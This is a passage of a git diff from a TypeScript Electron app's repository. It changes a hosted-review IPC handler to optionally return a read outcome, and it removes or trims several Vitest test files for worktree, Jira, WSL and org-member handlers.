expect(getHostedReviewCreationEligibilityMock).toHaveBeenCalledTimes(reads) }) - it('carries a selected-worktree claim and explicit refresh through to the branch lookup', async () => { + it('carries a selected-worktree claim and explicit refresh through, and replies with the outcome only when asked', async () => { getHostedReviewForBranchMock.mockResolvedValueOnce(null) registerHostedReviewHandlers(store as never, stats as never) @@ -440,13 +465,34 @@ describe('registerHostedReviewHandlers', () => { repoId: repo.id, branch: 'feature/selected', active: true, - force: true + force: true, + userRefresh: true }) // Selected-worktree lookups use the faster active tier, unlike O(N) card polling (#11532). expect(getHostedReviewForBranchMock).toHaveBeenCalledWith( - expect.objectContaining({ branch: 'feature/selected', active: true, force: true }) + expect.objectContaining({ + branch: 'feature/selected', + active: true, + force: true, + userRefresh: true + }) ) + + for (const { reportReadOutcome, review } of READ_OUTCOME_REPLIES) { + vi.mocked(readHostedReviewForBranch).mockResolvedValueOnce({ + review, + readOutcome: 'provider' + }) + const reply = await handlers['hostedReview:forBranch'](null, { + repoPath, + repoId: repo.id, + branch: 'feature/selected', + userRefresh: true, + ...(reportReadOutcome === undefined ? {} : { reportReadOutcome }) + }) + expect(reply).toEqual(reportReadOutcome ? { review, readOutcome: 'provider' } : review) + } }) it('uses interactive git admission for an explicit card refresh', async () => { diff --git a/src/main/ipc/hosted-review.ts b/src/main/ipc/hosted-review.ts index 4ebd6c41fa7..91835949086 100644 --- a/src/main/ipc/hosted-review.ts +++ b/src/main/ipc/hosted-review.ts @@ -14,7 +14,8 @@ import { getHostedReviewCreationEligibility } from '../source-control/hosted-review-creation' import { createStackedHostedReview } from '../source-control/stacked-hosted-review-creation' -import { getHostedReviewForBranch } from '../source-control/hosted-review' +import { hostedReviewForBranchReply } from '../../shared/hosted-review' +import { readHostedReviewForBranch } from '../source-control/hosted-review' import { resolveRegisteredWorktreePath } from './registered-worktree-roots-cache' import { listRepoWorktreeGraph } from '../repo-worktrees' import { @@ -115,10 +116,10 @@ export function registerHostedReviewHandlers(store: Store, stats: StatsCollector // Sidebar cards and the checks panel poll this for every provider; gh/glab in WSL boot it (E9). // Only an explicit Refresh may start a stopped distro; admissionTier is priority only, and // the visible scheduler sends 'interactive' for the selected card on a timer. - const review = await guardWslUncPathAccess( + const read = await guardWslUncPathAccess( repo.path, () => - getHostedReviewForBranch({ + readHostedReviewForBranch({ repoPath: repo.path, executionHostId: getStoredRepoExecutionHostId(repo), branch: args.branch, @@ -131,10 +132,12 @@ export function registerHostedReviewHandlers(store: Store, stats: StatsCollector currentHeadOid: args.currentHeadOid ?? null, ...(args.active === true ? { active: true } : {}), ...(args.force === true ? { force: true } : {}), + ...(args.userRefresh === true ? { userRefresh: true } : {}), localGitExecOptions: localGitOptions }), { wake: args.wakeWslDistro === true, wslDistro: localGitOptions.wslDistro } ) + const review = read.review if (review?.provider === 'github' && !stats.hasCountedPR(review.url)) { stats.record({ type: 'pr_created', @@ -143,7 +146,7 @@ export function registerHostedReviewHandlers(store: Store, stats: StatsCollector meta: { prNumber: review.number, prUrl: review.url } }) } - return review + return hostedReviewForBranchReply(read, args.reportReadOutcome) }) ipcMain.handle( diff --git a/src/main/ipc/mobile-pairing-listener-family.test.ts b/src/main/ipc/mobile-pairing-listener-family.test.ts index c99738570da..5656d049c78 100644 --- a/src/main/ipc/mobile-pairing-listener-family.test.ts +++ b/src/main/ipc/mobile-pairing-listener-family.test.ts @@ -90,21 +90,6 @@ describe('pairing addresses follow the runtime listener family', () => { }) }) - it('returns an IPv6 interface on an IPv6-only host when the listener serves IPv6', async () => { - networkInterfacesMock.mockReturnValue({ - eth0: [ - { family: 'IPv6', internal: false, address: GLOBAL_IPV6 }, - { family: 'IPv6', internal: false, address: 'fe80::42:acff:fe11:2' } - ] - }) - - registerStub(stubServer('::')) - - await expect(handlers.get('mobile:listNetworkInterfaces')?.()).resolves.toEqual({ - interfaces: [{ name: 'eth0', address: GLOBAL_IPV6 }] - }) - }) - it('mints no runtime link on an IPv6-only host while the listener only serves IPv4', async () => { networkInterfacesMock.mockReturnValue({ eth0: [{ family: 'IPv6', internal: false, address: GLOBAL_IPV6 }] diff --git a/src/main/ipc/orca-profile-org-members-handlers.test.ts b/src/main/ipc/orca-profile-org-members-handlers.test.ts deleted file mode 100644 index 6dc6775a638..00000000000 --- a/src/main/ipc/orca-profile-org-members-handlers.test.ts +++ /dev/null @@ -1,116 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { - handlers, - listOrcaProfileOrgMembersMock, - inviteOrcaProfileOrgMemberMock, - revokeOrcaProfileOrgInviteMock, - changeOrcaProfileOrgMemberRoleMock, - removeOrcaProfileOrgMemberMock -} = vi.hoisted(() => ({ - handlers: new Map unknown>(), - listOrcaProfileOrgMembersMock: vi.fn(), - inviteOrcaProfileOrgMemberMock: vi.fn(), - revokeOrcaProfileOrgInviteMock: vi.fn(), - changeOrcaProfileOrgMemberRoleMock: vi.fn(), - removeOrcaProfileOrgMemberMock: vi.fn() -})) - -vi.mock('electron', () => ({ - ipcMain: { - handle: vi.fn((channel: string, handler: (_event: unknown, args?: unknown) => unknown) => { - handlers.set(channel, handler) - }) - } -})) - -vi.mock('../orca-profiles/profile-storage-paths', () => ({ - getProfileUserDataPath: () => '/tmp/orca-user-data' -})) - -vi.mock('../orca-profiles/profile-cloud-org-members-service', () => ({ - listOrcaProfileOrgMembers: listOrcaProfileOrgMembersMock, - inviteOrcaProfileOrgMember: inviteOrcaProfileOrgMemberMock, - revokeOrcaProfileOrgInvite: revokeOrcaProfileOrgInviteMock, - changeOrcaProfileOrgMemberRole: changeOrcaProfileOrgMemberRoleMock, - removeOrcaProfileOrgMember: removeOrcaProfileOrgMemberMock -})) - -import { registerOrcaProfileOrgMemberHandlers } from './orca-profile-org-members-handlers' - -function invoke(channel: string, args?: unknown): unknown { - const handler = handlers.get(channel) - if (!handler) { - throw new Error(`No handler for ${channel}`) - } - return handler({}, args) -} - -describe('registerOrcaProfileOrgMemberHandlers', () => { - beforeEach(() => { - handlers.clear() - listOrcaProfileOrgMembersMock.mockReset().mockResolvedValue({ status: 'ok', roster: {} }) - inviteOrcaProfileOrgMemberMock.mockReset().mockResolvedValue({ status: 'ok' }) - revokeOrcaProfileOrgInviteMock.mockReset().mockResolvedValue({ status: 'ok' }) - changeOrcaProfileOrgMemberRoleMock.mockReset().mockResolvedValue({ status: 'ok' }) - removeOrcaProfileOrgMemberMock.mockReset().mockResolvedValue({ status: 'ok' }) - registerOrcaProfileOrgMemberHandlers() - }) - - it('registers all five org-member channels', () => { - expect([...handlers.keys()].sort()).toEqual( - [ - 'orcaProfiles:orgInviteRevoke', - 'orcaProfiles:orgMemberChangeRole', - 'orcaProfiles:orgMemberInvite', - 'orcaProfiles:orgMemberRemove', - 'orcaProfiles:orgMembersList' - ].sort() - ) - }) - - it('forwards a valid invite to the service with a trimmed email', async () => { - await invoke('orcaProfiles:orgMemberInvite', { - orgId: 'org-1', - email: ' new@example.com ', - role: 'admin' - }) - expect(inviteOrcaProfileOrgMemberMock).toHaveBeenCalledWith('/tmp/orca-user-data', { - orgId: 'org-1', - email: 'new@example.com', - role: 'admin' - }) - }) - - it('rejects an invite with a missing org id', async () => { - await expect( - invoke('orcaProfiles:orgMemberInvite', { email: 'a@b.com', role: 'member' }) - ).rejects.toThrow('invalid_orca_profile_org_selection') - expect(inviteOrcaProfileOrgMemberMock).not.toHaveBeenCalled() - }) - - it('rejects an invite with an unknown role', async () => { - await expect( - invoke('orcaProfiles:orgMemberInvite', { orgId: 'org-1', email: 'a@b.com', role: 'root' }) - ).rejects.toThrow('invalid_orca_org_role') - }) - - it('rejects a role change with a blank user id', async () => { - await expect( - invoke('orcaProfiles:orgMemberChangeRole', { orgId: 'org-1', userId: ' ', role: 'admin' }) - ).rejects.toThrow('invalid_orca_org_member_user') - }) - - it('forwards remove and revoke with validated args', async () => { - await invoke('orcaProfiles:orgMemberRemove', { orgId: 'org-1', userId: 'user-2' }) - expect(removeOrcaProfileOrgMemberMock).toHaveBeenCalledWith('/tmp/orca-user-data', { - orgId: 'org-1', - userId: 'user-2' - }) - await invoke('orcaProfiles:orgInviteRevoke', { orgId: 'org-1', email: 'gone@b.com' }) - expect(revokeOrcaProfileOrgInviteMock).toHaveBeenCalledWith('/tmp/orca-user-data', { - orgId: 'org-1', - email: 'gone@b.com' - }) - }) -}) diff --git a/src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts b/src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts deleted file mode 100644 index 08e3ad4a0eb..00000000000 --- a/src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts +++ /dev/null @@ -1,109 +0,0 @@ -import { beforeEach, expect, it, vi } from 'vitest' - -type Handler = (event: unknown, args: { id: unknown; target?: unknown }) => Promise - -type Mocks = { - handlers: Map - ownership: Map - startup: ReturnType Promise | undefined>> - version: string | null - size: { cols: number; rows: number } | null - routedHome: string | null - userConfigDir: string | undefined - mayAutoOpen: ReturnType Promise>> -} - -const mocks = vi.hoisted((): Mocks => ({ - handlers: new Map(), - ownership: new Map(), - startup: vi.fn<() => Promise | undefined>(), - version: 'unprobed', - size: { cols: 180, rows: 40 }, - routedHome: '/accounts/a/home', - userConfigDir: '/home/me/claude-config', - mayAutoOpen: vi.fn<(input: unknown) => Promise>() -})) -vi.mock('../pty-host-bindings', () => ({ - getPtyIpc: () => ({ - handle: (channel: string, handler: Handler) => mocks.handlers.set(channel, handler) - }) -})) -vi.mock('../provider/ownership-state', () => ({ ptyOwnership: mocks.ownership })) -vi.mock('../provider/registry', () => ({ - tryGetProviderForPty: () => ({ getAppliedSize: async () => mocks.size }) -})) -vi.mock('../../../claude/claude-hook-event-versions', () => ({ - probeRecentClaudeCliVersion: async () => mocks.version -})) -vi.mock('../../../codex-cli/command', () => ({ resolveClaudeCommand: () => '/bin/claude' })) -vi.mock('../../../claude-accounts/claude-profile-installed-router', () => ({ - getClaudeProfileRouter: () => ({ - routedHome: () => mocks.routedHome, - userConfigDir: () => mocks.userConfigDir - }) -})) -vi.mock('../../../claude/claude-diff-panel-auto-open', () => ({ - claudeDiffPanelMayAutoOpen: mocks.mayAutoOpen -})) - -import { toAppSshPtyId } from '../../../providers/ssh-pty-id' -import { installPtyClaudeDiffPanelNoticeIpcHandler } from './claude-diff-panel-notice' - -const HOST = { runtime: 'host' } - -beforeEach(() => { - mocks.handlers.clear() - mocks.ownership.clear() - mocks.version = '2.1.301' - mocks.size = { cols: 180, rows: 40 } - mocks.routedHome = '/accounts/a/home' - mocks.userConfigDir = '/home/me/claude-config' - mocks.mayAutoOpen.mockReset().mockResolvedValue(true) - installPtyClaudeDiffPanelNoticeIpcHandler({ getLocalPtyProviderStartupPromise: mocks.startup }) -}) - -function ask(id: unknown, target: unknown = HOST): Promise { - return mocks.handlers.get('pty:claudeDiffPanelMayAutoOpen')!({}, { id, target }) -} - -it('judges a host pane by the config dir its claude sees, its Claude version and its width', async () => { - expect(await ask('pty-1')).toBe(true) - expect(mocks.startup).toHaveBeenCalled() - expect(mocks.mayAutoOpen).toHaveBeenCalledWith({ - configDirEnv: '/accounts/a/home', - version: '2.1.301', - cols: 180 - }) - - // System default runs on the user's own CLAUDE_CONFIG_DIR, or on the CLI default without one. - mocks.routedHome = null - mocks.size = null - await ask('pty-1') - expect(mocks.mayAutoOpen).toHaveBeenLastCalledWith({ - configDirEnv: '/home/me/claude-config', - version: '2.1.301', - cols: null - }) - mocks.userConfigDir = undefined - await ask('pty-1') - expect(mocks.mayAutoOpen).toHaveBeenLastCalledWith({ - configDirEnv: undefined, - version: '2.1.301', - cols: null - }) -}) - -it('answers false for WSL, SSH and remotely owned panes without reading any config', async () => { - expect(await ask('pty-1', { runtime: 'wsl', wslDistro: 'Ubuntu' })).toBe(false) - expect(await ask(toAppSshPtyId('conn-1', 'pty-1'))).toBe(false) - expect(await ask('remote:env-1@@pty-1')).toBe(false) - mocks.ownership.set('pty-2', 'host-b') - expect(await ask('pty-2')).toBe(false) - expect(await ask(42)).toBe(false) - expect(mocks.mayAutoOpen).not.toHaveBeenCalled() -}) - -it('answers false when the check itself fails', async () => { - mocks.mayAutoOpen.mockRejectedValue(new Error('unreadable')) - expect(await ask('pty-1')).toBe(false) -}) diff --git a/src/main/ipc/readdir-error-diagnostics.test.ts b/src/main/ipc/readdir-error-diagnostics.test.ts deleted file mode 100644 index c1c7041a662..00000000000 --- a/src/main/ipc/readdir-error-diagnostics.test.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { buildReadDirErrorBreadcrumb, classifyReadDirPath } from './readdir-error-diagnostics' - -describe('classifyReadDirPath', () => { - it('classifies a WSL UNC path without leaking it', () => { - const classification = classifyReadDirPath( - '\\\\wsl.localhost\\Ubuntu\\home\\u\\repo', - undefined - ) - expect(classification).toEqual({ hasConnectionId: false, isUNC: true, isWsl: true }) - }) - - it('classifies the legacy \\\\wsl$ root as WSL', () => { - expect(classifyReadDirPath('\\\\wsl$\\Ubuntu\\home', undefined).isWsl).toBe(true) - }) - - it('classifies a plain network UNC share as UNC but not WSL', () => { - const classification = classifyReadDirPath('\\\\fileserver\\share\\dir', undefined) - expect(classification).toMatchObject({ isUNC: true, isWsl: false }) - expect(classification.driveLetter).toBeUndefined() - }) - - it('extracts an uppercased drive letter for mapped drives', () => { - expect(classifyReadDirPath('z:\\projects\\repo', undefined)).toEqual({ - hasConnectionId: false, - isUNC: false, - isWsl: false, - driveLetter: 'Z' - }) - }) - - it('flags the SSH connection without recording it', () => { - const classification = classifyReadDirPath('/remote/repo', 'ssh-1') - expect(classification).toEqual({ hasConnectionId: true, isUNC: false, isWsl: false }) - }) - - it('never includes the raw path in the classification', () => { - const classification = classifyReadDirPath('\\\\wsl.localhost\\Ubuntu\\secret\\path', 'ssh-9') - expect(JSON.stringify(classification)).not.toContain('secret') - }) -}) - -describe('buildReadDirErrorBreadcrumb', () => { - it('captures throw site, error code/name, and path classification', () => { - const breadcrumb = buildReadDirErrorBreadcrumb({ - dirPath: '\\\\wsl.localhost\\Ubuntu\\home\\u\\repo', - connectionId: undefined, - throwSite: 'readdir', - error: Object.assign(new Error('EIO: i/o error'), { code: 'EIO' }) - }) - expect(breadcrumb).toEqual({ - throwSite: 'readdir', - errorName: 'Error', - errorCode: 'EIO', - hasConnectionId: false, - isUNC: true, - isWsl: true - }) - }) - - it('omits errorCode when the error has none', () => { - const breadcrumb = buildReadDirErrorBreadcrumb({ - dirPath: '/remote/repo', - connectionId: 'ssh-1', - throwSite: 'ssh-provider', - error: new Error('Remote connection dropped.') - }) - expect(breadcrumb).toMatchObject({ throwSite: 'ssh-provider', errorName: 'Error' }) - expect(breadcrumb.errorCode).toBeUndefined() - expect(breadcrumb.hasConnectionId).toBe(true) - }) -}) diff --git a/src/main/ipc/repos-picker.test.ts b/src/main/ipc/repos-picker.test.ts deleted file mode 100644 index be3029d24ff..00000000000 --- a/src/main/ipc/repos-picker.test.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { join, sep } from 'node:path' -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { handleMock, removeHandlerMock, showOpenDialogMock } = vi.hoisted(() => ({ - handleMock: vi.fn(), - removeHandlerMock: vi.fn(), - showOpenDialogMock: vi.fn() -})) - -vi.mock('electron', () => ({ - dialog: { showOpenDialog: showOpenDialogMock }, - ipcMain: { - handle: handleMock, - removeHandler: removeHandlerMock - } -})) - -vi.mock('../git/runner', () => ({ - gitExecFileAsync: vi.fn(), - gitSpawn: vi.fn() -})) - -vi.mock('../git/repo', () => ({ - isGitRepo: vi.fn(), - getRepoName: vi.fn(), - getBaseRefDefault: vi.fn(), - searchBaseRefs: vi.fn() -})) - -vi.mock('./registered-worktree-roots-cache', () => ({ - invalidateAuthorizedRootsCache: vi.fn(), - invalidateAuthorizedRootsCacheForRepo: vi.fn() -})) - -import { registerRepoHandlers } from './repos' - -describe('repos folder pickers', () => { - const handlers = new Map unknown>() - const mockWindow = { - isDestroyed: () => false, - webContents: { send: vi.fn() } - } - const mockStore = { - getRepos: vi.fn().mockReturnValue([]), - addRepo: vi.fn(), - getRepo: vi.fn(), - updateRepo: vi.fn() - } - - const callPickFolders = (): Promise => { - const handler = handlers.get('repos:pickFolders') - if (!handler) { - throw new Error('repos:pickFolders handler was never registered') - } - return handler(null, undefined) as Promise - } - - const callPickDirectory = (): Promise => { - const handler = handlers.get('repos:pickDirectory') - if (!handler) { - throw new Error('repos:pickDirectory handler was never registered') - } - return handler(null, undefined) as Promise - } - - beforeEach(() => { - handlers.clear() - handleMock.mockReset() - handleMock.mockImplementation((channel: string, handler: (...args: unknown[]) => unknown) => { - handlers.set(channel, handler as (event: unknown, args: unknown) => unknown) - }) - removeHandlerMock.mockReset() - showOpenDialogMock.mockReset() - - registerRepoHandlers(mockWindow as never, mockStore as never, {} as never) - }) - - it('registers the multi-folder picker with handler cleanup', () => { - expect(handlers.has('repos:pickFolders')).toBe(true) - expect(removeHandlerMock).toHaveBeenCalledWith('repos:pickFolders') - }) - - it('picks multiple folders for the add-project browse flow', async () => { - const projectA = join(sep, 'projects', 'a') - const projectB = join(sep, 'projects', 'b') - showOpenDialogMock.mockResolvedValue({ - canceled: false, - filePaths: [projectA, projectB] - }) - - await expect(callPickFolders()).resolves.toEqual([projectA, projectB]) - - expect(showOpenDialogMock).toHaveBeenCalledWith(mockWindow, { - properties: ['openDirectory', 'multiSelections'] - }) - }) - - it('returns an empty folder list when multi-folder picking is canceled', async () => { - showOpenDialogMock.mockResolvedValue({ canceled: true, filePaths: [] }) - - await expect(callPickFolders()).resolves.toEqual([]) - }) - - it('picks an existing directory without enabling native directory creation', async () => { - const parentDir = join(sep, 'projects') - showOpenDialogMock.mockResolvedValue({ - canceled: false, - filePaths: [parentDir] - }) - - await expect(callPickDirectory()).resolves.toBe(parentDir) - - expect(showOpenDialogMock).toHaveBeenCalledWith(mockWindow, { - properties: ['openDirectory'] - }) - }) -}) diff --git a/src/main/ipc/source-control-ai-linked-issue.test.ts b/src/main/ipc/source-control-ai-linked-issue.test.ts index c45499eee02..fd46bbb293b 100644 --- a/src/main/ipc/source-control-ai-linked-issue.test.ts +++ b/src/main/ipc/source-control-ai-linked-issue.test.ts @@ -15,19 +15,6 @@ function makeStore(meta: Record): Store } describe('resolveSourceControlAiLinkedIssue', () => { - it('reads meta with the raw id when the id matches the request path', () => { - const store = makeStore({ [LOCAL_ID]: { linkedIssue: 123 } }) - - expect( - resolveSourceControlAiLinkedIssue(store, { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH, - repoId: 'repo-1' - }) - ).toBe(123) - expect(store.getWorktreeMeta).toHaveBeenCalledWith(LOCAL_ID) - }) - it('keeps the folder-repo instance suffix in the meta key while validating the stripped path', () => { const instanceId = `${LOCAL_ID}::workspace:${'0'.repeat(8)}-0000-0000-0000-${'0'.repeat(12)}` const store = makeStore({ [instanceId]: { linkedIssue: 9 } }) @@ -121,50 +108,4 @@ describe('resolveSourceControlAiLinkedIssue', () => { Object.defineProperty(process, 'platform', original) } }) - - it('returns null without touching the store when no id is supplied', () => { - const store = makeStore({ [LOCAL_ID]: { linkedIssue: 123 } }) - - expect(resolveSourceControlAiLinkedIssue(store, { worktreePath: LOCAL_PATH })).toBeNull() - expect(store.getWorktreeMeta).not.toHaveBeenCalled() - }) - - it('tolerates a store without a meta accessor', () => { - expect( - resolveSourceControlAiLinkedIssue({} as Store, { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH - }) - ).toBeNull() - }) - - it('returns null for unparsable ids and unlinked or unusable meta', () => { - expect( - resolveSourceControlAiLinkedIssue(makeStore({}), { - worktreeId: 'no-separator', - worktreePath: LOCAL_PATH - }) - ).toBeNull() - for (const linkedIssue of [null, undefined, Number.NaN, 0, -7, 12.9]) { - expect( - resolveSourceControlAiLinkedIssue(makeStore({ [LOCAL_ID]: { linkedIssue } }), { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH - }) - ).toBeNull() - } - }) - - it('does not fall back to a GitLab-linked issue', () => { - const store = { - getWorktreeMeta: vi.fn(() => ({ linkedIssue: null, linkedGitLabIssue: 456 })) - } as unknown as Store - - expect( - resolveSourceControlAiLinkedIssue(store, { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH - }) - ).toBeNull() - }) }) diff --git a/src/main/ipc/workspace-cleanup-execution-host-routing.test.ts b/src/main/ipc/workspace-cleanup-execution-host-routing.test.ts index eddfb0702e5..6b623447e3d 100644 --- a/src/main/ipc/workspace-cleanup-execution-host-routing.test.ts +++ b/src/main/ipc/workspace-cleanup-execution-host-routing.test.ts @@ -202,16 +202,4 @@ describe('workspace cleanup execution-host routing', () => { expect(result.candidates[0]?.blockers).toContain('git-status-error') expect(result.candidates[0]?.executionHostId).toBe('ssh:alpha') }) - - it('still routes a genuinely local repo to this machine', async () => { - const store = makeStore([makeRepo({ path: '/local/repo' })], { - [WORKTREE_ID]: makeMeta() - }) - - const result = await scanWorkspaceCleanup(store) - - expect(listRepoWorktreesMock).toHaveBeenCalled() - expect(getStatusMock).toHaveBeenCalled() - expect(result.candidates[0]?.executionHostId).toBe('local') - }) }) diff --git a/src/main/ipc/worktrees-ssh-pr-head-fetch.test.ts b/src/main/ipc/worktrees-ssh-pr-head-fetch.test.ts index 1289bc7a83c..8d4be2a08f2 100644 --- a/src/main/ipc/worktrees-ssh-pr-head-fetch.test.ts +++ b/src/main/ipc/worktrees-ssh-pr-head-fetch.test.ts @@ -1,9 +1,9 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' import { REVIEW_HEAD_FETCH_TIMEOUT_MS } from '../../shared/review-head-tracking-ref' -import { getPullRequestPushTargetMock, gitExecFileAsyncMock } from './worktrees-test-module-mocks' +import { gitExecFileAsyncMock } from './worktrees-test-module-mocks' + import { handlers, harnessRepo, setupWorktreeHandlers, store } from './worktrees-test-harness' import { ORIGIN_HEAD_COMPONENT, ORIGIN_REMOTE_URL } from './worktrees-test-fixtures' -import type { WorktreeRuntimeStub } from './worktrees-test-runtime-stub' vi.mock('electron', async () => (await import('./worktrees-test-module-mocks')).electronModuleMock() @@ -83,45 +83,8 @@ vi.mock('./pty/provider/state-cleanup', async () => ) describe('registerWorktreeHandlers', () => { - let runtimeStub: WorktreeRuntimeStub - beforeEach(() => { - runtimeStub = setupWorktreeHandlers() - }) - - it('resolves a fork PR base even when push-target discovery fails', async () => { - getPullRequestPushTargetMock.mockRejectedValueOnce(new Error('lookup failed')) - gitExecFileAsyncMock.mockImplementation(async (args: string[]) => { - if (args[0] === 'remote' && args[1] === 'get-url') { - return { stdout: `${ORIGIN_REMOTE_URL}\n`, stderr: '' } - } - if (args[0] === 'rev-parse') { - return { stdout: 'abc123\n', stderr: '' } - } - return { stdout: '', stderr: '' } - }) - - const result = await handlers['worktrees:resolvePrBase'](null, { - repoId: 'repo-1', - prNumber: 1849, - headRefName: 'feat/onboarding-model-choice-782', - isCrossRepository: true - }) - - expect(gitExecFileAsyncMock).toHaveBeenCalledWith( - [ - 'fetch', - '--no-tags', - 'origin', - `+refs/pull/1849/head:refs/orca/pull/${ORIGIN_HEAD_COMPONENT}/1849` - ], - { cwd: '/workspace/repo', timeout: REVIEW_HEAD_FETCH_TIMEOUT_MS } - ) - expect(result).toEqual({ - baseBranch: 'abc123', - headSha: 'abc123', - branchNameOverride: 'feat/onboarding-model-choice-782' - }) + setupWorktreeHandlers() }) it('refuses local git for a PR base on an executionHostId-only SSH repo', async () => { @@ -217,29 +180,4 @@ describe('registerWorktreeHandlers', () => { 'Failed to fetch origin/feat/onboarding-model-choice-782: fatal: unable to access repo: Could not resolve host: github.com' }) }) - - it('delegates GitLab MR base resolution through the runtime implementation', async () => { - runtimeStub.resolveManagedMrBase.mockResolvedValueOnce({ - baseBranch: 'fork-mr-sha', - pushTarget: { remoteName: 'origin', branchName: 'feature/mr' } - }) - - const result = await handlers['worktrees:resolveMrBase'](null, { - repoId: 'repo-1', - mrIid: 42, - sourceBranch: 'feature/mr', - isCrossRepository: true - }) - - expect(runtimeStub.resolveManagedMrBase).toHaveBeenCalledWith({ - repoSelector: 'id:repo-1', - mrIid: 42, - sourceBranch: 'feature/mr', - isCrossRepository: true - }) - expect(result).toMatchObject({ - baseBranch: 'fork-mr-sha', - pushTarget: { remoteName: 'origin', branchName: 'feature/mr' } - }) - }) }) diff --git a/src/main/ipc/worktrees/listing/wsl-stopped-worktree-listing.test.ts b/src/main/ipc/worktrees/listing/wsl-stopped-worktree-listing.test.ts index 6812728c857..6a8e5634652 100644 --- a/src/main/ipc/worktrees/listing/wsl-stopped-worktree-listing.test.ts +++ b/src/main/ipc/worktrees/listing/wsl-stopped-worktree-listing.test.ts @@ -249,13 +249,4 @@ describe('Retry on a stopped WSL distro (E9)', () => { expect(insideAct).toEqual([true]) expect(isWslUserActFor('Ubuntu')).toBe(false) }) - - it('does nothing for a folder workspace or a repo outside WSL', async () => { - for (const repo of [makeRepo({ kind: 'folder' }), makeRepo({ path: 'C:\\work\\repo' })]) { - await scanWorktreesStartingWslDistro(createStore(repo), repo.id) - } - await scanWorktreesStartingWslDistro(createStore(makeRepo()), 'unknown-repo') - - expect(mocks.listDetectedGitWorktrees).not.toHaveBeenCalled() - }) }) diff --git a/src/main/jira/adf-link-mapping.test.ts b/src/main/jira/adf-link-mapping.test.ts index 62f2b046bd5..8a5baaeb956 100644 --- a/src/main/jira/adf-link-mapping.test.ts +++ b/src/main/jira/adf-link-mapping.test.ts @@ -63,20 +63,6 @@ function makeEntry(id = 'site-1'): JiraClientForSite { } } -function makeServerEntry(id = 'server-1'): JiraClientForSite { - return { - site: { - id, - siteUrl: 'https://jira.example.com', - email: '', - displayName: 'Self-hosted Jira', - accountId: 'wquintal', - authType: 'server' - }, - authorization: 'Bearer pat-token' - } -} - describe('Jira ADF link mark mapping', () => { beforeEach(async () => { vi.clearAllMocks() @@ -132,83 +118,6 @@ describe('Jira ADF link mark mapping', () => { expect(issue.description).toBe('See [Design spec](https://example.com/spec).') }) - it('leaves Server/DC plain-text descriptions unchanged', async () => { - const { mapJiraIssue } = await import('./issues') - - const issue = mapJiraIssue(makeServerEntry().site, { - id: 'issue-server-1', - key: 'SRV-1', - fields: { - summary: 'Server body', - description: 'Plain body with https://example.com raw URL', - project: { id: '1', key: 'SRV', name: 'Server' }, - issuetype: { id: '1', name: 'Bug' }, - status: { - id: '1', - name: 'Open', - statusCategory: { key: 'new', name: 'To Do' } - }, - labels: [], - created: '2026-06-18T00:00:00.000Z', - updated: '2026-06-18T00:00:00.000Z' - } - }) - - expect(issue.description).toBe('Plain body with https://example.com raw URL') - }) - - it('maps ADF link marks in comments to Markdown hyperlinks', async () => { - jiraRequestMock.mockResolvedValueOnce({ - comments: [ - { - id: 'comment-link-1', - body: { - type: 'doc', - version: 1, - content: [ - { - type: 'paragraph', - content: [ - { - type: 'text', - text: 'Follow-up', - marks: [{ type: 'link', attrs: { href: 'https://example.com/follow-up' } }] - } - ] - } - ] - }, - created: '2026-05-30T12:00:00.000Z', - author: { accountId: 'user-1', displayName: 'Ada' } - } - ] - }) - - const { getIssueComments } = await import('./issues') - const comments = await getIssueComments('ALP-1', 'site-1') - - expect(jiraRequestMock).toHaveBeenCalledTimes(1) - expect(jiraRequestMock).toHaveBeenCalledWith( - expect.objectContaining({ site: expect.objectContaining({ id: 'site-1' }) }), - expect.stringContaining('/issue/ALP-1/comment?') - ) - expect(comments[0]?.body).toBe('[Follow-up](https://example.com/follow-up)') - }) - - it('leaves Server/DC plain-text comments unchanged', async () => { - getClientsMock.mockReturnValue([makeServerEntry()]) - jiraRequestMock.mockResolvedValueOnce({ - comments: [{ id: '1', body: '[Design spec|https://example.com/spec]', created: '2026-05-30' }] - }) - const { getIssueComments } = await import('./issues') - const comments = await getIssueComments('SRV-1', 'server-1') - expect(comments[0]?.body).toBe('[Design spec|https://example.com/spec]') - expect(jiraRequestMock).toHaveBeenCalledWith( - expect.anything(), - expect.stringContaining('/rest/api/2/issue/SRV-1/comment?') - ) - }) - it('keeps media markdown when links and images share a description', async () => { const resolveMedia = () => '![shot.png](data:image/png;base64,abc)' const { adfToMarkdownText } = await import('./adf-markdown') diff --git a/src/main/jsonl-rpc/timeline-lane.test.ts b/src/main/jsonl-rpc/timeline-lane.test.ts index 8ef584d1ac3..dc1cc3ce468 100644 --- a/src/main/jsonl-rpc/timeline-lane.test.ts +++ b/src/main/jsonl-rpc/timeline-lane.test.ts @@ -116,6 +116,8 @@ describe('JSON-lines timeline admission', () => { await vi.advanceTimersByTimeAsync(250) await test.lane.drained() expect(test.lane.openTurnId).not.toBeNull() + // Close the journal's projection repair timer; leave the lane alive to detect retry leaks. + await test.journal.journal.close() expect(vi.getTimerCount()).toBe(0) }) diff --git a/src/main/macos-press-and-hold-default.defaults-domain.test.ts b/src/main/macos-press-and-hold-default.defaults-domain.test.ts index 13bc5334058..b812747cc98 100644 --- a/src/main/macos-press-and-hold-default.defaults-domain.test.ts +++ b/src/main/macos-press-and-hold-default.defaults-domain.test.ts @@ -75,14 +75,6 @@ describe.skipIf(process.platform !== 'darwin')( expect(rawRead(explicitlyFalse)).toBe('0') }) - it('reports an explicit true as set', () => { - const domain = throwawayDomain() - write(domain, 'true') - - expect(readDomainPressAndHoldPreference(domain)).toBe('set') - expect(rawRead(domain)).toBe('1') - }) - it('writes false into a previously unset domain', () => { const domain = throwawayDomain() diff --git a/src/main/managed-server/install/orcad-remote-node-runtime-host-fallback.test.ts b/src/main/managed-server/install/orcad-remote-node-runtime-host-fallback.test.ts index 42087af1588..a07c4c4cf54 100644 --- a/src/main/managed-server/install/orcad-remote-node-runtime-host-fallback.test.ts +++ 